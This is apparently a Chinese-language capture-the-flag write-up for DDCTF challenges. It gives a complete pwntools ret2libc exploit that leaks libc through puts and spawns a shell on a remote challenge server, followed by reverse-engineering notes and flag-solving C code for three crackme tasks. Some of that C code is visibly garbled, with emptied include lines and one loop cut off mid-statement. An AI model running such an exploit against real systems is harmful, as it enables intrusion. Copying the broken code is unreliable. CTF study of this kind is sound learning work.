ddctf 逆向 pwn 部分题解

这个ddctf   我就第一天玩了  在晚上 0点我把re 1 2 搞定就没有完了   

然后  比赛结束     有个学长问我做的如何了。。。。然后他和我说 题型 就是vm 还有 迷宫    然后 让我去看看re3 是vm 

然后我就搞了一波

 先说pwn吧   

直接粘上我志琦哥的代码。。。。。

#coding:utf-8

from pwn import *
context.log_level='debug'

#io=process('./xpwn')
libc=ELF('./libc.so.6')
io=remote('116.85.48.105',5005)
elf=ELF('./xpwn')

io.recvuntil('Enter username: ')
io.sendline('a'*0x27)
io.recvuntil('Hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n')
main_ebp=u32(io.recv(4))
log.success('main_ebp:'+hex(main_ebp))
io.recvuntil('password: ')
io.sendline('-1')
io.recvuntil('): ')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main_addr=0x08048669
pay='a'*68+p32(main_ebp+0x18)+p32(0)+p32(main_ebp-0x10)+'a'*0x10+p32(puts_plt)+p32(main_addr)+p32(puts_got)
#gdb.attach(io)
io.sendline(pay)
io.recvuntil('All done, bye!\n')
puts_addr=u32(io.recv()[:4])
libc_puts_addr=libc.symbols['puts']
libc_system_addr=libc.symbols['system']
libc_bin_sh_addr=0x15902b
libc_base=puts_addr-libc_puts_addr
system_addr=libc_base+libc_system_addr
bin_sh_addr=libc_base+libc_bin_sh_addr
#sh_addr=0x0804A050


log.success('puts_addr:'+hex(puts_addr))
log.success('libc_base:'+hex(libc_base))
log.success('system_addr:'+hex(system_addr))
log.success('bin_sh_addr:'+hex(bin_sh_addr))
#log.success('sh_addr:'+hex(sh_addr))
io.sendline('a'*0x27)
io.recvuntil('password: ')
io.sendline('-1')
io.recvuntil('): ')
pay='a'*68+p32(main_ebp+0x28)+p32(0)+p32(main_ebp)+'a'*0x10+p32(system_addr)+p32(0)+p32(bin_sh_addr)
io.send(pay)
io.interactive()

这个题 第一点就是 要输入负数  要不然 我们输入的 就不行。。

然后 第二点就是  栈里面会有 pop ecx  pop 什么来着。。。 我的题目找不到了  233333

然后 我们这里 我说的地方就是特殊到这个地方。。。算是 另类的canary吧 

我们把这里溢出就行

re 1 2 都是壳+基址随机化 可以用工具把随机化去掉 然后就可以 运行了

然后 re 1

这个题就是 upx 壳 脱壳直接ida  看就行  然后如果想 用upx壳 运行的话 需要将地址随机化去掉   然后 去脱壳

od 手动寻找  输入表 

ddctf 逆向 pwn 部分题解_第1张图片

然后 

ddctf 逆向 pwn 部分题解_第2张图片

转存就可以成功运行 

因为我这里 没有题  所以直接 粘代码吧

#include
#include
#include
#include
#include
#include
#include
#include
#include "windows.h"
using namespace std;
char ida_chars[] =
{
  0x7E, 0x7D, 0x7C, 0x7B, 0x7A, 0x79, 0x78, 0x77, 0x76, 0x75,
  0x74, 0x73, 0x72, 0x71, 0x70, 0x6F, 0x6E, 0x6D, 0x6C, 0x6B,
  0x6A, 0x69, 0x68, 0x67, 0x66, 0x65, 0x64, 0x63, 0x62, 0x61,
  0x60, 0x5F, 0x5E, 0x5D, 0x5C, 0x5B, 0x5A, 0x59, 0x58, 0x57,
  0x56, 0x55, 0x54, 0x53, 0x52, 0x51, 0x50, 0x4F, 0x4E, 0x4D,
  0x4C, 0x4B, 0x4A, 0x49, 0x48, 0x47, 0x46, 0x45, 0x44, 0x43,
  0x42, 0x41, 0x40, 0x3F, 0x3E, 0x3D, 0x3C, 0x3B, 0x3A, 0x39,
  0x38, 0x37, 0x36, 0x35, 0x34, 0x33, 0x32, 0x31, 0x30, 0x2F,
  0x2E, 0x2D, 0x2C, 0x2B, 0x2A, 0x29, 0x28, 0x27, 0x26, 0x25,
  0x24, 0x23, 0x22, 0x21, 0x20, 0x00
};
mapmapp;
char s[]="DDCTF{reverseME}";
int main()
{

    printf("DDCTF{");
    int len=strlen(s);
    int lens=strlen(ida_chars);
    for(int i=0;i

 re2   也是一个弱壳      脱掉后 听别人说 是 base64?? 异或0x76的   我是暴力跑的

#include
#include
#include
#include
#include
#include
using namespace std;
map mapp;
//E3ADF7E74DF7E3AE3BDF7D
//46 33 50 33 46 47 33 0
  //    BB335033BB473300
char ss[]="reverse+";
char s[64] =
{
  '7',
  '4',
  '5',
  '2',
  '3',
  '0',
  '1',
  '>',
  '?',
  '<',
  '=',
  ':',
  ';',
  '8',
  '9',
  '&',
  '\'',
  '$',
  '%',
  '\"',
  '#',
  ' ',
  '!',
  '.',
  '/',
  ',',
  '\x17',
  '\x14',
  '\x15',
  '\x12',
  '\x13',
  '\x10',
  '\x11',
  '\x1E',
  '\x1F',
  '\x1C',
  '\x1D',
  '\x1A',
  '\x1B',
  '\x18',
  '\x19',
  '\x06',
  '\a',
  '\x04',
  '\x05',
  '\x02',
  '\x03',
  '\0',
  '\x01',
  '\x0E',
  '\x0F',
  '\f',
  'F',
  'G',
  'D',
  'E',
  'B',
  'C',
  '@',
  'A',
  'N',
  'O',
  ']',
  'Y'
};
int len=64;
int main()
{
    //43 30 47 30 43 44 30 62
    printf("DDCTF{");
    int s1,s2,s3,s4;
   for(int i=0;i<256;i++)
   {
       for(int j=0;j<256;j++)
       {
           for(int k=0;k<256;k++)
           {
        s1 = i >> 2;
        s2 = (j >> 4) + 16 * (i & 3);
        s3 = (k >> 6) + 4 * (j & 0xF);

        s4 = k & 0x3F;
        if(!(s1==43&&s2==30&&s3==47&&s4==30))
            {
                continue;
            }
               for(int ii=0;ii<256;ii++)
               {
                   for(int jj=0;jj<256;jj++)
                   {
                       for(int kk=0;kk<256;kk++)
                       {

                            s1 = ii >> 2;
                            s2 = (jj >> 4) + 16 * (ii & 3);
                            s3 = (kk >> 6) + 4 * (jj & 0xF);
                            s4 = kk & 0x3F;
                            if((s1==43&&s2==44&&s3==30&&s4==62))
                            {
                                printf("%x%x%x%x%x%x",i,j,k,ii,jj,kk);
                            }
                       }
                   }
               }
           }
       }
   }

   printf("}\n");
    return 0;
}

re3 的话 其实还是比较恶心的  不过这个题 也是给了我一个警示 就是 必须先看  不过这个题  我的样本还有 可以截图

ddctf 逆向 pwn 部分题解_第3张图片

看到这我就很头大 这是啥 呀 我死了 完蛋     然后继续往下看的时候

ddctf 逆向 pwn 部分题解_第4张图片

*(a1 + 24) 代表 vm 虚拟指令的地址   然后 循环 碰到 0XF3 就停止 

ddctf 逆向 pwn 部分题解_第5张图片

这里 的分支 就没有什么好说的了  就取出vm的值  然后如果等于  我们上上上的值 如果等于的话   那就是 偏移后的值 

额~~ 打个比方

 假如是0XF0 那么 我们加8的话 就是运行 a40.。

然后 其实有几个call 我是没有看懂的  后来我想了想

直接先看  vm的指令

ddctf 逆向 pwn 部分题解_第6张图片

ddctf 逆向 pwn 部分题解_第7张图片

ddctf 逆向 pwn 部分题解_第8张图片

有没有发现什么特点 我在这里  发现就那么多指令 而且还是循环式的   来吧 我们分析一下

先F0  看一下a40

ddctf 逆向 pwn 部分题解_第9张图片

那么 他是取出(*(a1 + 24) + 2LL)的值 然后看 *(*(a1 + 24) + 1LL) 然后看复制给谁  我们会发现。。。F0后面都是0x10.

ddctf 逆向 pwn 部分题解_第10张图片

我们直接把F0后面的2个数是 等于 *a 然后f0后面的值 会发现都是 0XF8 

我们去看

ddctf 逆向 pwn 部分题解_第11张图片

ddctf 逆向 pwn 部分题解_第12张图片

这里是改变了 *a值  然后 我们先记下这里 继续看 下面的vm 都是0XF2 哇 在这儿还真的是感谢ddct的出题人 要不然  不是有规律迭代的话 估计还要模拟跑一边 还是需要跑的。。

然后

ddctf 逆向 pwn 部分题解_第13张图片

这里 哇 这是啥?? 这是啥???/

不要激动 想一下 这个题 怎么解决  0.。。qword_100003F58是不是有点眼熟

哈哈哈 知道了吧 a2传进的 就是我们输入的地方 那么 我们就可以解释了。。比较*a==input

所以我们 就可以 退出算法了。。。  只需要取出0XF0 后面的第二个数  然后和上面那个搞一下就行

这个是脚本

#include
#include
#include
#include
using namespace std;
int data[50]={0x66,0x63,0x6a,0x6a,0x6d,0x57,0x6d,0x73,0x45,0x6d,0x72,0x52,0x66,0x63,0x44,0x6a,0x79,0x65};
int main()
{
    printf("DDCTF{");
    for(int i=0;i<18;i++)
    {
        if(data[i]>='A'&&data[i]<='Z')
        {
            printf("%c",(2+data[i]-'A')%26+'A');
        }
        else
        {
            printf("%c",(2+data[i]-'a')%26+'a');
        }
    }
    printf("}\n");
   return 0;
}

嗯 这题比上一年友善多了  。。。。。其它题不看了。。狗命重要。。。

你可能感兴趣的:(逆向之旅)